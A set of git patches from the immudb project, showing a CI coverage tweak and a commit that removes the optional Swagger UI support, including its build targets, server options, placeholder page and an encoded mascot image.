PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel --tags minio || true + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,httpclient --tags minio || true cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} diff --git a/Makefile b/Makefile index d0fc90b0ed..4f714a7cc2 100644 --- a/Makefile +++ b/Makefile @@ -153,7 +153,7 @@ test-client: # To view coverage as HTML run: go tool cover -html=coverage.txt .PHONY: coverage coverage: - go-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel + go-acc ./... --covermode=atomic --ignore=test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,httpclient cat coverage.txt | grep -v "schema.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out $(GO) tool cover -func coverage.out From 6b778e4f3f93be0f082e881a1ba643b7066386a5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 5 Jun 2023 15:38:51 -0300 Subject: [PATCH 0595/1062] chore: remove initial swagger support Signed-off-by: Jeronimo Irazabal --- .gitignore | 2 -- Makefile | 33 +++---------------------- cmd/immudb/command/init.go | 1 - cmd/immudb/command/parse_options.go | 2 -- pkg/server/options.go | 7 ------ pkg/server/webserver.go | 8 ------ swagger/default/index.html | 31 ----------------------- swagger/default/mascot.png | Bin 28825 -> 0 bytes swagger/swagger.go | 25 ------------------- swagger/swagger_default.go | 28 --------------------- swagger/swagger_default_test.go | 34 ------------------------- swagger/swagger_test.go | 37 ---------------------------- swagger/swaggeroverrides.js | 24 ------------------ 13 files changed, 4 insertions(+), 228 deletions(-) delete mode 100644 swagger/default/index.html delete mode 100644 swagger/default/mascot.png delete mode 100644 swagger/swagger.go delete mode 100644 swagger/swagger_default.go delete mode 100644 swagger/swagger_default_test.go delete mode 100644 swagger/swagger_test.go delete mode 100644 swagger/swaggeroverrides.js diff --git a/.gitignore b/.gitignore index 1e974d4835..fdc4c8e8d3 100644 --- a/.gitignore +++ b/.gitignore @@ -48,6 +48,4 @@ immudb_pwd token token_admin -swagger/dist -swagger/swaggerembedded webconsole/webconsoleembedded \ No newline at end of file diff --git a/Makefile b/Makefile index 4f714a7cc2..5b5fbef02b 100644 --- a/Makefile +++ b/Makefile @@ -20,10 +20,7 @@ VERSION=1.4.1 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 -SWAGGER?=false FIPSENABLED?=false -SWAGGERUIVERSION=4.15.5 -SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" PWD = $(shell pwd) GO ?= go @@ -49,19 +46,15 @@ V_LDFLAGS_FIPS_BUILD = ${V_LDFLAGS_BUILD} \ -X github.com/codenotary/immudb/cmd/version.FIPSEnabled=true GRPC_GATEWAY_VERSION := $(shell go list -m -versions github.com/grpc-ecosystem/grpc-gateway | awk -F ' ' '{print $$NF}') -SWAGGER_BUILDTAG= WEBCONSOLE_BUILDTAG= FIPS_BUILDTAG= ifdef WEBCONSOLE WEBCONSOLE_BUILDTAG=webconsole endif -ifeq ($(SWAGGER),true) -SWAGGER_BUILDTAG=swagger -endif ifeq ($(FIPSENABLED),true) -FIPS_BUILDTAG=swagger +FIPS_BUILDTAG=fips endif -IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG) $(FIPS_BUILDTAG)" +IMMUDB_BUILD_TAGS=-tags "$(WEBCONSOLE_BUILDTAG) $(FIPS_BUILDTAG)" .PHONY: all all: immudb immuclient immuadmin immutest @@ -93,7 +86,7 @@ immuadmin: $(GO) build -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin .PHONY: immudb -immudb: webconsole swagger +immudb: webconsole $(GO) build $(IMMUDB_BUILD_TAGS) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immudb .PHONY: immutest @@ -186,27 +179,9 @@ build/codegenv2: --doc_out=pkg/api/protomodel --doc_opt=markdown,docs.md \ --swagger_out=logtostderr=true,allow_merge=true,simple_operation_ids=true:pkg/api/openapi \ -./swagger/dist: - rm -rf swagger/dist/ - curl -L $(SWAGGERUILINK) | tar -xz -C swagger - mv swagger/swagger-ui-$(SWAGGERUIVERSION)/dist/ swagger/ && rm -rf swagger/swagger-ui-$(SWAGGERUIVERSION) - cp pkg/api/openapi/apidocs.swagger.json swagger/dist/apidocs.swagger.json - cp pkg/api/schema/schema.swagger.json swagger/dist/schema.swagger.json - cp swagger/swaggeroverrides.js swagger/dist/swagger-initializer.js - -.PHONY: swagger -ifeq ($(SWAGGER),true) -swagger: ./swagger/dist - env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger -else -swagger: - env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./swagger -endif - - .PHONY: clean clean: - rm -rf immudb immuclient immuadmin immutest ./webconsole/dist ./swagger/dist + rm -rf immudb immuclient immuadmin immutest ./webconsole/dist .PHONY: man man: diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 94407e540b..06545ce242 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -85,7 +85,6 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Duration("sessions-guard-check-interval", 1*time.Minute, "sessions guard check interval") cmd.Flags().MarkHidden("sessions-guard-check-interval") cmd.Flags().Bool("grpc-reflection", options.GRPCReflectionServerEnabled, "GRPC reflection server enabled") - cmd.Flags().Bool("swaggerui", options.SwaggerUIEnabled, "Swagger UI enabled") flagNameMapping := map[string]string{ "replication-enabled": "replication-is-replica", diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index 667404f0ca..cf58217e53 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -83,7 +83,6 @@ func parseOptions() (options *server.Options, err error) { pprof := viper.GetBool("pprof") grpcReflectionServerEnabled := viper.GetBool("grpc-reflection") - swaggerUIEnabled := viper.GetBool("swaggerui") s3Storage := viper.GetBool("s3-storage") s3Endpoint := viper.GetString("s3-endpoint") @@ -144,7 +143,6 @@ func parseOptions() (options *server.Options, err error) { WithSessionOptions(sessionOptions). WithPProf(pprof). WithLogFormat(logFormat). - WithSwaggerUIEnabled(swaggerUIEnabled). WithGRPCReflectionServerEnabled(grpcReflectionServerEnabled) return options, nil diff --git a/pkg/server/options.go b/pkg/server/options.go index c2f265a664..4444eb3296 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -72,7 +72,6 @@ type Options struct { PProf bool LogFormat string GRPCReflectionServerEnabled bool - SwaggerUIEnabled bool } type RemoteStorageOptions struct { @@ -136,7 +135,6 @@ func DefaultOptions() *Options { SessionsOptions: sessions.DefaultOptions(), PProf: false, GRPCReflectionServerEnabled: true, - SwaggerUIEnabled: true, } } @@ -462,11 +460,6 @@ func (o *Options) WithGRPCReflectionServerEnabled(enabled bool) *Options { return o } -func (o *Options) WithSwaggerUIEnabled(enabled bool) *Options { - o.SwaggerUIEnabled = enabled - return o -} - // RemoteStorageOptions func (opts *RemoteStorageOptions) WithS3Storage(S3Storage bool) *RemoteStorageOptions { diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index 3ab15e46eb..3b611b70bf 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -25,7 +25,6 @@ import ( "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/logger" - "github.com/codenotary/immudb/swagger" "github.com/codenotary/immudb/webconsole" "github.com/grpc-ecosystem/grpc-gateway/runtime" "google.golang.org/grpc" @@ -75,13 +74,6 @@ func startWebServer(ctx context.Context, grpcAddr string, httpAddr string, tlsCo return nil, err } - if s.Options.SwaggerUIEnabled { - err = swagger.SetupSwaggerUI(webMux, l, httpAddr) - if err != nil { - return nil, err - } - } - httpServer := &http.Server{Addr: httpAddr, Handler: webMux} httpServer.TLSConfig = tlsConfig diff --git a/swagger/default/index.html b/swagger/default/index.html deleted file mode 100644 index 95263e9f15..0000000000 --- a/swagger/default/index.html +++ /dev/null @@ -1,31 +0,0 @@ - - - - No Swagger UI enabled - - - - - immudb - - - immudb mascot -

immudb was built without swagger ui support.

-

See here for instructions, or download an official build.

- - diff --git a/swagger/default/mascot.png b/swagger/default/mascot.png deleted file mode 100644 index 0210168fd06a3a2b7965d6e3f1a0b2a3e32d2f75..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 28825 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 